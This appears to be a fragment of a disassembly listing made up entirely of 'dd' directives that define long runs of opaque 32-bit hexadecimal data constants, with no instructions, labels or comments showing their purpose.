		dd 0EAC17F6Ch, 0C903A2AFh, 54DB2637h, 40C0EC11h, 383027EDh
		dd 7A80159Ch, 7DD1EA22h, 7B0F85F3h, 0EDA653h, 0C9866574h
		dd 903700C5h, 7030A067h, 3A002DD5h, 0A4605317h,	0E795AD2h
		dd 20C32368h, 76FEB460h, 75002F63h, 0C7080313h,	7F106862h
		dd 0BFE139F0h, 9B509Ch,	0DD44EE3Bh, 0ED017E5Eh,	5F538A47h
		dd 408F27F0h, 3D41AEh, 16CC5042h, 9D0E4592h, 0C00734EAh
		dd 0BA39D8A3h, 1A850310h, 0BD2A69C2h, 0C003875h, 0EC7A845h
		dd 9ACF72h, 0D08D7844h,	503D1846h, 0F0CBD300h, 1016B079h
		dd 442000D4h, 30547177h, 0F3000E7Ah, 57871990h,	8E8DF7h
		dd 0E36D14BBh, 4689A025h, 5BF18F00h, 0CDE4A7AAh, 3011B076h
		dd 9B981E93h, 9D8143B1h, 4CD2C4h, 3F678B8h, 6A80D902h
		dd 0C4506500h, 2EBB6920h, 906C0083h, 70A84B3Dh,	0AF008AECh
		dd 56BF1728h, 0D50ACAh,	0C079AC94h, 166DE87h, 80F1063Ah
		dd 683F478Fh, 3A24A6E8h, 0A900743Bh, 0EFCBAAC7h, 44008B23h
		dd 0F2A20D9Ch, 6A8B247h, 0DDE4B5DBh, 30E7A156h,	7D13A23Fh
		dd 0E20064E0h, 0A552139Fh, 0AF220028h, 3B633E8h, 0F3092D54h
		dd 7C37ABFBh, 3E853E98h, 0DFCFFEh, 0E91FCDB8h, 0AE00AF06h
		dd 88107F15h, 9807C7DDh, 9F5D1C8Bh, 63C500E4h, 0C09499EFh
		dd 48DA8F3Dh, 7FA00A8h,	43F1917Eh, 0E73600FFh, 5EF764BFh
		dd 4C01BAD1h, 0EE3F68BCh, 52EC6325h, 3A7B075Ch,	0C05A9C85h
		dd 5FA81BC5h, 0C4C0A300h, 0E4BE194Eh, 2030C930h, 3D2FC980h
		dd 860113D1h, 85C872CBh, 8609F7Ch, 0E3FA34h, 3BF74BD9h
		dd 9371C0E1h, 8B5460Ch,	0E8F05Dh, 45F07ED2h, 996DFA9Ah
		dd 0A436B607h, 51F3711Bh, 5A70EF48h, 0AA709F0h,	0BF8C78D4h
		dd 177201ACh, 50DE6F2Eh, 0C2E81DECh, 5FF96700h,	0E53428A7h
		dd 6A31CF4h, 4CC181D9h,	0D4ED9B5Bh, 10BD7C4h, 71174C6h
		dd 0BF50251Bh, 7EABE760h, 887C0096h, 267BFA3Ch,	7800A185h
		dd 0E5E91675h, 1344B3F5h, 327450h, 0A9E6C351h, 9F777B9Ch
		dd 0B10084FEh, 629756FDh
		dd 0A2B5A4h, 0DB3E3306h, 4ACC90ACh, 30FD7830h, 7AE5F6E1h
		dd 773D003Fh, 0E6838AF9h, 714997DFh, 175B001Ch,	9A3314D4h
		dd 134C3C46h, 0AB4E1981h, 0E8BC5422h, 9D72F1E3h, 0E58040F1h
		dd 21004CFDh, 7F3FEE4Dh, 3E72008h, 1FC3C9E0h, 0F0E8473Dh
		dd 5F03B7BBh, 504EF444h, 80180220h, 6E035777h, 90847440h
		dd 8A73361Ch, 394287FBh, 44F0EF9Dh, 482BD26Ah, 3A00385Ch
		dd 0EB64874Eh, 0E72C1CBh, 59BF1001h, 94268A6Eh,	1F87E6DCh
		dd 28EE3C8Dh, 884B0390h, 96474082h, 410B6AF0h, 0A44F1C28h
		dd 2A783100h, 0A88C4609h, 7F200E4h, 5FF7DE2Dh, 374961E8h
		dd 0D1940034h, 0BF6089D9h, 0B9E50072h, 673A49D6h, 0B76BB77h
		dd 0DA0E5800h, 0A12B9195h, 0AC8800EEh, 0D8C2152Ah, 0F2F86289h
		dd 5B556A00h, 0AD02FCE2h, 1B48014Ah, 2D61A9ACh,	0C8F921B7h
		dd 8E3B6BF3h, 0A04D0017h, 54ED2666h, 890300A4h,	0FB51A1FDh
		dd 0CC006F2Dh, 0A2BBBE2Ah, 6A9FF8h, 295E64EEh, 0F9838532h
		dd 25A65505h, 80BFCD98h, 0E1882F76h, 0C6B75700h, 0C345D8E7h
		dd 51B90093h, 6F0D0701h, 0EC016AF6h, 0E3DF8E90h, 1DE475A5h
		dd 47CE0079h, 5C3283Dh,	0EC0617FAh, 7CC71E8Dh, 458F00D0h
		dd 0D01126F3h, 3100F452h, 172F61DFh, 405285Eh, 3C2C81AAh
		dd 57E8C044h, 47006CCBh, 0F00236D2h, 90AB7FEBh,	65E33871h
		dd 7871C00h, 0A511409Ch, 0ADF7BB00h, 47F1F27Dh,	957AD9h
		dd 0C3BAB020h, 0FE54114Eh, 7E2D5A0Eh, 10EA1B7h,	71F85CBCh
		dd 7043600Ah, 25305323h, 12AED200h, 779F2AFEh, 0FEE1B816h
		dd 0F0A2CDAh, 2F988934h, 0B6A3802Fh, 1EDBB82Ah,	0DFF8B1A3h
		dd 10A3C126h, 0FE09D7F8h, 0FB485D64h, 0A455D280h, 14580032h
		dd 68BF483h, 0F5001B95h, 0B8A6F23h, 78C29326h, 0C4900EDh
		dd 4136B973h, 6F749785h, 6726DD00h, 78DF347Eh, 61698C4h
		dd 0FA1CEEDAh, 272860F8h, 660040D0h, 8ABD5205h,	913134h
		dd 0AA0A1657h, 813E0CE8h, 7FB2C13Bh, 0C514B905h, 8C380F91h
		dd 3130203Bh, 9C4D572Eh, 84376500h, 92B6F581h, 0E43505C0h
		dd 1C6B201h, 0A043DA88h, 1404F04Bh, 6AD12500h, 0C3E88A4Fh
		dd 0F00F0028h, 4B6985B9h, 0E200FE3Ah, 54D258B0h, 0CDDD66h
		dd 417EFFFh, 0A740BD32h, 604DF400h, 0CF7A6A03h,	23950048h
		dd 614E0844h, 3A58EA50h, 0E7EF07FBh, 8703BE6Ah,	1CC0AC56h
		dd 2C18AFh, 414FD4E9h, 165577ACh, 855F6D00h, 79B8EF35h
		dd 0E0AD3C2Dh, 584F7600h, 2E5C400Ch, 0AFECA0A8h, 7519E200h
		dd 0B755E18Eh, 6F8F480h, 52E53F42h, 5C30285Ah, 0EE84313Ch
		dd 0E7583A0Fh, 0AB23B0Dh, 89DD6019h, 6A130901h,	0B825FA08h
		dd 37089Fh, 0A049639Fh,	0E178F9F2h, 449BE71Ch, 0DBB43E42h
		dd 7CB0A0CAh, 3EAA78Bh,	43C68EE9h, 94B86732h, 6DE4BCB9h
		dd 4AE5C900h, 424595Ah,	71CB0046h, 95C638Eh, 0D0F9EBFAh
		dd 0B40DD484h, 18A9E2BFh, 4812F0E0h, 0B6060851h, 0B168593Ch
		dd 0A95D520Bh, 189980CCh, 1DAF08C3h, 0B0DB839Ch, 40141B91h
		dd 7E96400h, 0FC185143h, 201F000Dh, 355D24C5h, 0AE077F9Fh
		dd 44926F0h, 0F902587Dh, 0B9888090h, 0BE0516h, 58AA727Eh
		dd 92A1498Fh, 20D30F00h, 98464819h, 0CDF60018h,	0D8B1B6AAh
		dd 520CA4C2h, 8550BD2h,	0C421C0AFh, 5762B1BFh, 12489000h
		dd 73B581B8h, 0DF9B00EBh, 0F810DA55h, 3701CEE6h, 0DE84D06Eh
		dd 4E20A5B7h, 0F010C05Bh, 0BA8B7897h, 65BBF60Ch, 0F48A5816h
		dd 0F20B0E94h, 96614291h, 0D1F532A3h, 62218084h, 0A46C0B9Ch
		dd 9A920016h, 511088Dh,	58D8705Ch, 3A3B8AA1h, 78CE01h
		dd 9A94CC4h, 31BD03F2h,	0F03AB300h, 0AA911E42h,	0F90100BAh
		dd 0F1E718A1h, 0F8030EB9h, 2EBF8DC3h, 0F64000D5h, 9FE3FEEDh
		dd 750721E5h, 65D74EF2h, 8E1643h, 0E3F59220h, 54CBACE4h
		dd 677B080Fh, 397F40A9h, 0A7CFF812h, 60B544B0h,	0C163526h
		dd 0FC0E7F0h, 8B00AED9h, 0A4916456h, 3FE8E78h, 0E8814C3h
		dd 1FF8B889h, 5C03A1B5h, 1B675F10h, 0CEFEC8F0h,	76D00D7h
		dd 4DDAFB96h, 5303C974h, 31B6E9B4h, 0A92A88C8h,	8CD00071h
		dd 0E0FC4D6h, 1B804A0h,	80683F3Ah, 0C2912312h, 7BEDC57Bh
		dd 0DCC103D1h, 669F56AEh, 47D638A0h, 3E211100h,	0FF1C7FEh
		dd 0E37E3AA3h, 0A4EBB100h, 5FDA9E99h, 356D3B00h, 6106012Dh
		dd 0E61F0048h, 0D0259577h, 6CE619ECh, 80F33Ch, 86A4164Eh
		dd 39AE90h, 5788DBC4h, 0F27AE3E1h, 0B8E91238h, 0ACF6804Ah
		dd 19FD6E86h, 0F7C126A1h, 7CD03DAh, 0D9A0C81Fh,	570E2739h
		dd 0DE1099B6h, 94A3503h, 0CA3D8h, 0B65FD121h, 6A304EE5h
		dd 0A0579800h, 6E6BC273h, 48A70051h, 82F75BE3h,	9F03EA29h
		dd 3561C868h, 0CE4000C7h, 77075D36h, 14036D3Dh,	0DCE6DA29h
		dd 67200039h, 0B8EA97AAh, 2C122194h, 800F5A5h, 6B7D0FE7h
		dd 0C830C3EDh, 511B3273h, 0C6991528h, 9AAF0020h, 7CFCFD29h
		dd 6A718A07h, 650303F2h, 0FED6067h, 64311C99h, 49B680AAh
		dd 16D306EAh, 31F8A805h, 4C08651Fh, 524980C8h, 9FE5986Eh
		dd 92674006h, 18704250h, 81C5B276h, 41003EB4h, 2B35707h
		dd 634E9ABBh, 0C639A91Fh, 785280B8h, 8FF7C201h,	337D5DC9h
		dd 3F592180h, 0DABEEC84h, 0C8512919h, 21965E09h, 0A86B0079h
		dd 6C13A964h, 0B0D01800h, 72483B4Bh, 503A9023h,	0F41B88CFh
		dd 46B180F4h, 0C162387Eh, 9075C8A1h, 0F03D699Ch, 419E0024h
		dd 0D482155Dh, 572808D2h, 2E0718AFh, 73A8F7FEh,	4E0DD510h
		dd 13110668h, 49385FC8h, 0DC94F080h, 0E98EBE30h, 0A05BC867h
		dd 900EA610h, 35293C20h, 311EE912h, 31B65534h, 3420A9BEh
		dd 700FF91h, 0D06AB65Dh, 4472A2EDh, 0D578C405h,	0A048CF04h
		dd 1A81C95Fh, 582AAFF2h, 738862A0h, 0D8840341h,	5E6DB36Ah
		dd 0DB1357C8h, 4983362h, 0B656181Fh, 1109C1Eh, 0B9121h
		dd 84B65E0Ah, 64ED469Dh, 61034042h, 10FCB66Bh, 93448C59h
		dd 0B653000Dh, 7B2A606h, 0FF006E0Bh, 6DA20C41h,	28BE80E2h
		dd 6C59C8h, 16D56C28h, 0A98205ADh, 3B0591F8h, 0C4B1A2F5h
		dd 0F02DD447h, 146D390h, 4E9B3D56h, 191854BAh, 0EB0A20DDh
		dd 0C87CF506h, 3C595978h, 4167B199h, 0F5DC7077h, 7A0015D1h
		dd 6418B33h, 939626h, 734E452Bh, 16148354h, 0F8A1A730h
		dd 4943A40Eh, 7C1890E3h, 90CE592Dh, 30342E2h, 46343557h
		dd 0A0B02340h, 95FF21Eh, 6452D188h, 0ED104012h,	98C960F5h
		dd 0DC2F00CEh, 596F14Fh, 0D14ACE8h, 8484AABEh, 0EC33AF76h
		dd 21463FC8h, 1A225443h, 0F6070E01h, 2C7EE716h,	41D16713h
		dd 0B1E8C7C5h, 11E4F08Dh, 0E8F25D28h, 0AAAE215h, 98B229DCh
		dd 0E72A0Bh, 0B602CAE3h, 6F060F9Ah, 0CE6003F9h,	9C4D67C9h
		dd 0D0B18919h, 0E8C7CD31h, 0C1C4501h, 0F4756A52h, 41E8FB19h
		dd 11E0E530h, 1F869BB9h, 8E445C57h, 83B74C9h, 37CDC101h
		dd 7C3386A2h, 38DA20D6h, 16718DAFh, 888A9300h, 7172E7D1h
		dd 0F9FF3DBCh, 73C00E00h, 0DE6ED9F6h, 491499F2h, 23403A18h
		dd 86A10137h, 18745C55h, 781988AEh, 89E5880Eh, 2BC88781h
		dd 8EE61352h, 1844DD68h, 0A1C0700Ah, 1825126Dh,	76B26E2Ah
		dd 823CA78Ah, 0AD0A7FC5h, 0E4BFAE0Dh, 1060C809h, 0A8FA1ED4h
		dd 0C063B8h, 6DA615E6h,	0A510D611h, 0F898F201h,	1CD2776Fh
		dd 7984BBFDh, 8E4DAE4Ch, 0C7118834h, 0C424C001h, 0AC046D87h
		dd 0F9B62184h, 7C13A4C3h
		dd 1F4C1829h, 0A9049992h, 53309B1Dh, 1C5ED400h,	18DE1457h
		dd 91C54699h, 0D1C02B7Ch, 38FB7BE1h, 24FC1F6Ah,	9E5D0FB9h
		dd 98902153h, 3606D12Fh, 2B6C2420h, 0B1511009h,	8100520h
		dd 0D27BB654h, 0B07F9C01h, 83154E0Ch, 894DE0h, 0FB6D6A05h
		dd 7C3F198Eh, 6692660h,	0A5F3B1h, 0C501DFE3h, 0BB1C8F05h
		dd 4D98AA1Fh, 7C6EFCF0h, 4031DC29h, 0C26297D0h,	0D801C528h
		dd 3F26F11h, 6023B28Bh,	1ACE20Ch, 5D0C6799h, 11A411EFh
		dd 0D5FF008Ah, 865291E4h, 1E007772h, 6024BC5Dh,	1E689D10h
		dd 1537849Ch, 5048B42Bh, 1E506422h, 0CA70A024h,	553C9900h
		dd 82F57A56h, 0EFED0301h, 15AC0644h, 342A47E9h,	0B143A308h
		dd 0A84F33Ch, 3255E946h, 0EA0F2120h, 644670F5h,	0C6B18C18h
		dd 8FA039h, 0E5DDE9B0h,	0A8A59C82h, 0D426F62Bh,	0FF4970h
		dd 0E63D204Ch, 353FA975h, 116E24A5h, 8DFCC09Fh,	71D0E732h
		dd 623D1E19h, 0F888C721h, 0EF60AF67h, 214636F4h, 15915309h
		dd 0C840326h, 0EBEAF8DEh, 0D89FC0B9h, 0DAE25F40h, 3C91A88h
		dd 22661E1Ch, 0FC90BD83h, 54F68D4Ch, 4001BCB3h,	0D2BF1984h
		dd 74887018h, 0FE841E38h, 6D71F95h, 891BB209h, 0E2987900h
		dd 0C597404h, 578B00BDh, 0A178A295h, 14986997h,	7A3AA772h
		dd 0CF4C7DE9h, 3382358h, 5C6C869Ch, 0B119EDA2h,	88633610h
		dd 75CB8116h, 0AC4C8000h, 912D5D7Dh, 9C641518h,	35F4EE80h
		dd 5243F146h, 4002C22h,	0FDCEF606h, 790C467h, 99EA55DCh
		dd 5171BC9Bh, 6DC14E03h, 0AB0E290Fh, 0CE4DA101h, 16BA6182h
		dd 0E0C75535h, 0C6601144h, 2A00CB91h, 15FB2CC9h, 250BAAFh
		dd 0DD7CFDCDh, 54C494ADh, 1BECA44h, 2D6D972Ch, 7226DAE9h
		dd 30FFF274h, 7FF06599h, 1CB24218h, 0B43791h, 0B3820CEDh
		dd 0F526A881h, 65A0F12Eh, 0D03A390Ah, 5686AEC0h, 0FB6C215Ch
		dd 393444BFh, 0B7978865h, 0B228081Fh, 73015CA6h, 0F8105CF5h
		dd 6EA06C47h, 0BC6198h,	0CB2C2F2Eh, 80E81502h, 17C39F00h
		dd 689CFEBBh, 14FF4852h, 78CABBCh, 0D17DB5BAh, 0CA4492E6h
		dd 0A2318884h, 0CE08F710h, 0A0CA8000h, 2B085733h, 0BF8E0FD5h
		dd 613C583h, 0A823553Dh, 8698004Ch, 0FABC5C58h,	0AF1A8085h
		dd 19530786h, 0E500ADEEh, 746F6712h, 2334F13h, 6E8C80E2h
		dd 5867F430h, 0F609344h, 851FA2FCh, 0CF0182BCh,	0DE4A99ECh
		dd 0D07C8192h, 8C735020h, 0F206A290h, 90B9E26Dh, 0BB4A0249h
		dd 0FCE050E5h, 221203E1h, 7CB10D80h, 0D0FC4131h, 0FF9101E8h
		dd 2A4F8D05h, 882211h, 0FB44B4Dh, 20A76DBh, 5F0C6E79h
		dd 0B44445A4h, 0D3C40401h, 0B2F80E6Fh, 9F25ED0h, 121554ABh
		dd 0C89F068h, 0D400B898h, 4A796BBFh, 78329418h,	0A6ED06B4h
		dd 51C3E641h, 0DED03000h, 0B923C18Fh, 0D8460061h, 0A3A5AED5h
		dd 814AF575h, 0E0DD184Fh, 6377C855h, 7F70F2h, 927817BBh
		dd 9A4FCB5Eh, 80C0B148h, 41917C6Ch, 0C6FB0114h,	9D0F54E9h
		dd 0F2C72B0h, 43860CDBh, 8897FB3Eh, 0B09270F8h,	5D471F71h
		dd 0A3AAC578h, 0F3F000D2h, 3F7BC098h, 3EB389C0h, 0C278E4Bh
		dd 287ED2AAh, 0A03CC19h, 248CA834h, 0ED03B00Eh,	0B8460201h
		dd 0AF04D3E0h, 0AA9CB060h, 0A9E5B730h, 0EE7787CDh, 7F9028Eh
		dd 0F012C840h, 0E9000471h, 6F8A9BA8h, 7FEE44Dh,	16F32643h
		dd 0E341ECE5h, 80C34F3Ch, 0C9618AFAh, 0EA715h, 654AE4B7h
		dd 3FAC591Ah, 0EFA0B3Ah, 24FB6B58h, 1C823A92h, 48A4218Eh
		dd 0EA5182F7h, 9042A29Fh, 39AD17F8h, 2D004EB7h,	0C6E28BA7h
		dd 0ED04A050h, 76C8BDD5h, 2932C88h, 2FADD448h, 0B4A01EB2h
		dd 0CEB75581h, 0C2D4100h, 731A2B62h, 0AD3B3822h, 98856079h
		dd 0E42777A4h, 66EB200h, 9D63AAFEh, 4E400030h, 0A0591F6Fh
		dd 95600D8Ah, 4D7836B1h, 48CA00C0h, 6990B614h, 0E009415h
		dd 6A3309D4h, 0C02A7EBAh, 0E04C7599h, 417EFD71h, 0EE9860Eh
		dd 4BF901EEh, 0E9B8B0E5h, 53E8C000h, 56987394h,	55C96800h
		dd 4D7C74C5h, 0C0380A19h, 0B053EDh, 0FF756BD3h,	6C129C40h
		dd 141EB33Ch, 0E9E04501h, 0A98F960Fh, 0C09FB662h, 3FE588EFh
		dd 0A80FDDC4h, 806CA2BFh, 0C71383EDh, 0C8670C2Fh, 1EB16F5Eh
		dd 0BA41FD60h, 0D37477h, 485B4B3Bh, 5854A425h, 0D4C19A1Fh
		dd 5D9C6780h, 256D69C4h, 94916F0Ah, 7EB3C802h, 1A709A00h
		dd 8814FA46h, 0FCA30315h, 0C6E66A5Ch, 0AE0DF900h, 9F1921F1h
		dd 79573BDBh, 64512680h, 8C58A9A8h, 0B7BDC800h,	0B516FD17h
		dd 80149481h, 7E79382Fh, 2100F9B4h, 7CC11301h, 0FF24ABAh
		dd 0E38D47A2h, 9064DD27h, 0A8E4B6E7h, 9CF31312h, 9F97844Eh
		dd 741DDB51h, 6FF742E8h, 0CA1A443h, 53C6ADE2h, 0DF86A88h
		dd 4E38A896h, 99BB806Dh, 0EB489289h, 670431E5h,	3149A620h
		dd 0D068E64Ch, 0B3003316h, 0BA96F8DCh, 4CC0ACF9h, 7B80ACE6h
		dd 8EB6A784h, 0D4932400h, 0C8E8AE64h, 40049E5Fh, 2E7EBF74h
		dd 0C00311CFh, 0C589B4BEh, 8ED415B9h, 0E2002848h, 21809649h
		dd 1A00C60Dh, 0EC6C3828h, 0C78DB4DCh, 724E31C9h, 0F840C5E0h
		dd 87011020h, 0B9F1FBFAh, 20221F4Bh, 469A400h, 0E1127A64h
		dd 0C5F22B02h, 68C27DD7h, 17835BCh, 1044D61Eh, 6891A8E5h
		dd 415F8804h, 32E669CEh, 72DC2638h, 7CF8AD00h, 91E09CA4h
		dd 6FC181F4h, 3C94680Ch, 10583088h, 76E34F7h, 4E32E55Fh
		dd 0C80B2FB5h, 88AF8D84h, 0DC00DEF4h, 95A064C0h, 1EAD3DF0h
		dd 0C05E1242h, 0D84C9668h, 5F019413h, 48987586h, 6720AFDEh
		dd 0FCFA010Fh, 0A7168DF2h, 8646FC3Bh, 4A4E3009h, 909B096Bh
		dd 0FC1EF14h, 4F299787h, 0E27B4880h, 32096C9Ah,	747EDF4Dh
		dd 36823A04h, 0F843A2B0h, 0BF626C8Eh, 3840A126h, 7C88AB4Eh
		dd 0A890AB25h, 896172h,	18B188F8h, 0EA6F637Bh, 0B0F6DF01h
		dd 7567808Fh, 307C9DF0h, 76A814FBh, 0A326C01Fh,	0C8489C41h
		dd 798C4214h, 88CDD3E5h, 1258285Ch, 3A2098B0h, 8BBD024Ah
		dd 852295C3h, 74282C44h, 1C03CDACh, 6D523BB1h, 0D8C094A0h
		dd 5A76785h, 4C5766C7h,	0A2F42020h, 4B163656h, 74022EA4h
		dd 40334486h, 24738E38h, 80AD0Bh, 0FB2AB9E3h, 1D746EFCh
		dd 0F52D4FDh, 2122EE05h, 0B0A50D90h, 47ABF0h, 29DCD518h
		dd 0E85B025Eh, 2CD1D700h, 9025876Ch, 0A4610A7Dh, 48A4C447h
		dd 82E0E74h, 0C0D873E5h, 0DD633EE4h, 0A0F1360Fh, 0D7F623Fh
		dd 85CA20F8h, 303DECCh,	0B8D7833Ch, 0AF0BAB38h,	0BEDAAF60h
		dd 986B0A92h, 8F9CC7B0h, 5E4C4C3h, 0D469C08Eh, 2C0B4CB2h
		dd 800E7F31h, 376032CAh, 7D5F296Ah, 572400A8h, 67EDFB34h
		dd 80773C3Eh, 14814D9Dh, 5C04583Fh, 69C018A7h, 2C7AF155h
		dd 0AEB9EF00h, 49991443h, 3BC2FC90h, 0B4B99C30h, 23A73C85h
		dd 7760CC2Ah, 0DB07DF70h, 974667EFh, 54D5B250h,	95860494h
		dd 40307BBEh, 0A6FF293Dh, 9E5000B0h, 9ACBC6BBh,	0E402EEB4h
		dd 82E37557h, 0F072E5h,	31067BF8h, 9C553D17h, 9CA06E26h
		dd 87AE8905h, 0FEF6EC07h, 0A00E09h, 56B03759h, 841613E0h
		dd 0F52C003Fh, 0B5728099h, 77DEC100h, 0F753A1Dh, 0CF9A17BEh
		dd 0AD5C207Ch, 8400B9D5h, 169E5A21h, 2624C4h, 8AAAFDE9h
		dd 0FB88B51Fh, 2531521Bh, 75960058h, 4E603F34h,	3309CD9Ch
		dd 0B0B1DCBAh, 482CE770h, 81678AEh, 88D4B2h, 381258AEh
		dd 0B3608617h, 0EEEAF44Ch, 0D4BB0072h, 48CFBAF6h, 260079DBh
		dd 0A24AC70Bh, 0F69663Dh
		dd 645A983Ah, 0AA540980h, 6C00E091h, 89113F2Dh,	6F0E82h
		dd 0F13A2B4Ah, 2F6BF5C8h, 3E251D1Dh, 0D77A7340h, 662E61h
		dd 586C1EB8h, 6AB72C91h, 0C8ADB924h, 0F19F983Bh, 0A60878h
		dd 3BC94029h, 0CA524A51h, 11B7D43Eh, 8A005655h,	5EFB61C2h
		dd 391DD05Ah, 70D82D0Bh, 57E058h, 0B2293ED1h, 7B52AC61h
		dd 0FEFA0303h, 19AD773h, 0DBD25840h, 0ECADF65Eh, 3303BCBBh
		dd 0F2285262h, 117FE8A8h, 0DED30057h, 0D01558B0h, 73114351h
		dd 0A20CA7D9h, 0DF716E8Ch, 131F6100h, 0F1682BFh, 0EAB8C780h
		dd 0B3C0EEEDh, 99A16F7Bh, 73317561h, 49819CD0h,	0F6C95411h
		dd 0E7118098h, 0AE1E2D33h, 499CA016h, 4C0C0647h, 411CFB2Bh
		dd 40586290h, 7B0D00A6h, 70E86F85h, 0A45501BAh,	0D273C76Ah
		dd 3651809Fh, 80FCED69h, 0C9D62837h, 0D8660FE4h, 9180E4B4h
		dd 0B57DF762h, 0CC0FB82Ah, 3542980Eh, 0E42100F0h, 589E336h
		dd 55FE2C5Ch, 40C05F5Fh, 1B817166h, 0DD0047D9h,	89E44879h
		dd 290C2A64h, 1D45DF2h,	0F780A28Fh, 4D9180A6h, 462E35EFh
		dd 77F80F92h, 0C9C17A83h, 8017FBB9h, 0DB2DCEE1h, 718C7331h
		dd 4D96065Ch, 2172F890h, 32872E01h, 0A04595EDh,	1DF72B30h
		dd 369318h, 281DBDD1h, 0E09FDD99h, 12CCFF35h, 41EA8Eh
		dd 0CD439124h, 89EABDDEh, 63826A00h, 62D2A54Ch,	0E0DF0119h
		dd 5A8FE34Dh, 49426140h, 381FDC18h, 6FDB0306h, 0E15254h
		dd 72D8F0C1h, 0BA935644h, 0A7E4B303h, 3FA0F558h, 0CF008739h
		dd 6315FF7Fh, 47008B4Eh, 946A9E22h, 306576h, 0CF699348h
		dd 0D9DECA18h, 78519B00h, 8973F326h, 0EF0D19A8h, 0E0DF7159h
		dd 5503C61Ch, 54D6364h,	0DECFA8F2h, 3C1D00A9h, 977A7FBDh
		dd 9B24A090h, 0DA42381Bh, 0CB822AEh, 0F35FF4A7h, 63F06943h
		dd 0D800A39Ch, 41D6F256h, 0FCB48173h, 844901EDh, 0A2A7945Bh
		dd 0F782292h, 6AA09397h, 0DE083074h, 4231899Dh,	409C4004h
		dd 50EFC311h, 7912641Fh, 0C8488FBh, 215F5E03h, 0DBBB51E7h
		dd 1726A71Ch, 0ED7A0A29h, 3E06FF7h, 0FA563143h,	0CD4236B8h
		dd 61A3F630h, 0ECAC781h, 8E2993F1h, 97CFAE0h, 1E034855h
		dd 0FB6CDE91h, 0AA71096Ah, 1B00EE19h, 0C160D4E3h, 9837700Eh
		dd 8F08EB56h, 13BA90Ch,	1A1D5190h, 0AF638987h, 328DD081h
		dd 98C097D4h, 0C206D7F8h, 7E4A00F0h, 0E9117874h, 944C2B53h
		dd 8810414h, 1488F20Dh,	1C99F7h, 9E3A42F4h, 0C31414D2h
		dd 1CD8085Fh, 8287A245h, 80CA1851h, 9E01A747h, 8205A99h
		dd 4C1090F0h, 0F518E3C4h, 7A8551AFh, 54BB3B00h,	0F079110Ch
		dd 0BF160064h, 4A7CCCE1h, 218817B8h, 36BA053Dh,	26D17384h
		dd 5701F0D0h, 102CC7DDh, 984CA514h, 3B65006Bh, 4A409D37h
		dd 6F03C5E4h, 0F7E1E962h, 0B24100ADh, 45EF1DA1h, 6F170483h
		dd 0C10015E5h, 76CDEEBBh, 0EDDD1D30h, 4183FF97h, 7F9929BCh
		dd 245C09D0h, 753CDF12h, 0AF6BE500h, 1EE5D584h,	9FDEF444h
		dd 28CDDFC8h, 39E00190h, 2D8CB462h, 0AD6FCC48h,	0D455E239h
		dd 0CC0097B0h, 235EF07Dh, 0C34266h, 1D764EE8h, 65D8433Bh
		dd 84B1B92Ah, 1F2F6000h, 0DCC22029h, 9EFF1D21h,	5398C0D9h
		dd 806A2440h, 0B5C8BD50h, 0B3B97B11h, 498BAB00h, 7DE99594h
		dd 392A6200h, 0C1F9D17Ch, 0C4FF05B3h, 401950DCh, 0C768918Ch
		dd 25738A80h, 623AC002h, 66BE6F5Eh, 98C00E4h, 82C449AAh
		dd 430056B5h, 7E993023h, 17C52Fh, 0AFFD88C3h, 6308DFCCh
		dd 0A50386E8h, 0B8A12C4Bh, 0F669711Bh, 0ABB02C56h, 0BA2901F9h
		dd 231C50CDh, 0A2027F60h, 0D5D1185Dh, 8FEF0096h, 0F77D8466h
		dd 0EAA6B1C0h, 0F28174ADh, 0CBE500B2h, 7D0763ABh, 0F2295560h
		dd 6E00A0C7h, 4A061A81h, 427B006Ah, 0D3CCBD74h,	0C2006704h
		dd 524ED1ADh, 0F264452Ah, 6BFA3028h, 8F0E06F1h,	3AB59500h
		dd 90C30DCDh, 4899C6h, 929487F4h, 60FF248Ah, 7626544Ch
		dd 0EC60185Fh, 719096h,	0C93BFDC7h, 8FA247F4h, 0CA216860h
		dd 18A78986h, 0D999F7CCh, 0C20BBCE2h, 844E186Ah, 28409F00h
		dd 304F9775h, 8064FA4Ch, 387BBC67h, 796402A7h, 9ADB73AFh
		dd 0BBA04927h, 50028E1Ch, 0D0D3E3B9h, 6E003420h, 44F6C47Ah
		dd 0AC20556Bh, 0EF3D2491h, 4A370033h, 3CF65A30h, 0D3AE8700h
		dd 7073FCBDh, 40F850BEh, 0F1A400B4h, 9E0DAB2Fh,	0F003ED7Bh
		dd 0A5405E54h, 4CB00433h, 4018FA2Ah, 6D71A8E3h,	20800D5h
		dd 0BF2CAA75h, 0A100219Eh, 228BCF04h, 24C73378h, 8AA4CED4h
		dd 87B818C6h, 0A0E43A1Bh, 0FA3C7F0Ah, 8FD14902h, 8054A059h
		dd 3D4E1560h, 7E3100F6h, 503EFD0Ch, 6898E907h, 0D5018CF8h
		dd 9FBB0DB8h, 2C207237h, 4D2530CBh, 2DC516B0h, 19AE7504h
		dd 488C1A51h, 9092057Dh, 88F6CA4Fh, 8A5CEE4Ch, 0BD5F0424h
		dd 4380ADD0h, 9D6E5C1h,	965AFDD9h, 0A2D48C07h, 80A01DF8h
		dd 0D5D0B732h, 7F873300h, 0B227429Ah, 7E2900DDh, 7A3BB03Fh
		dd 0A10366D6h, 2C5B1060h, 0E71B6F6h, 0DA11D7BEh, 36042D83h
		dd 0FC9F0EF1h, 38B0F703h, 130C3058h, 8E00606Fh,	4F63317Fh
		dd 6A2B01BBh, 40D8D4CDh, 6C898054h, 0FA4E0BD6h,	0FB8718C0h
		dd 1438191Fh, 0C9949200h, 0A9F4170Ah, 4D800054h, 5260E21h
		dd 98006A33h, 0F9F6EC6Eh, 99409708h, 0AAA8038h,	0A07B8F7Eh
		dd 2CF91D00h, 47A2D1DEh, 0E0C2CCFh, 6FE18B34h, 80B56C84h
		dd 0F29F98ECh, 8018555Ch, 963377F4h, 0F870E42Ah, 0AD19C051h
		dd 0D106130Ch, 0E91AA800h, 0A71B4344h, 70317589h, 0F5BF38C4h
		dd 9D0F729h, 8055818Ch,	77D4A23Ch, 3F274DFh, 6E4C769Ch
		dd 8000410Ah, 0C7C4714Fh, 5498A27Eh, 0CC841Eh, 0F177B7DEh
		dd 69FB163Eh, 4BC419C0h, 15D2066h, 0ED0E267Dh, 0C312DA48h
		dd 16944011h, 9BDC730Ch, 4A003B89h, 493156DEh, 54422422h
		dd 12D6C1Ch, 3C5F08E4h,	0D47D09DAh, 887C7536h, 20FA3E25h
		dd 0F7959F30h, 271E0043h, 7675ADA0h, 0E41D6559h, 0AE411079h
		dd 0F40D957Fh, 510A382Dh, 0A8CCE123h, 0F79C7F78h, 0F8184C2Ch
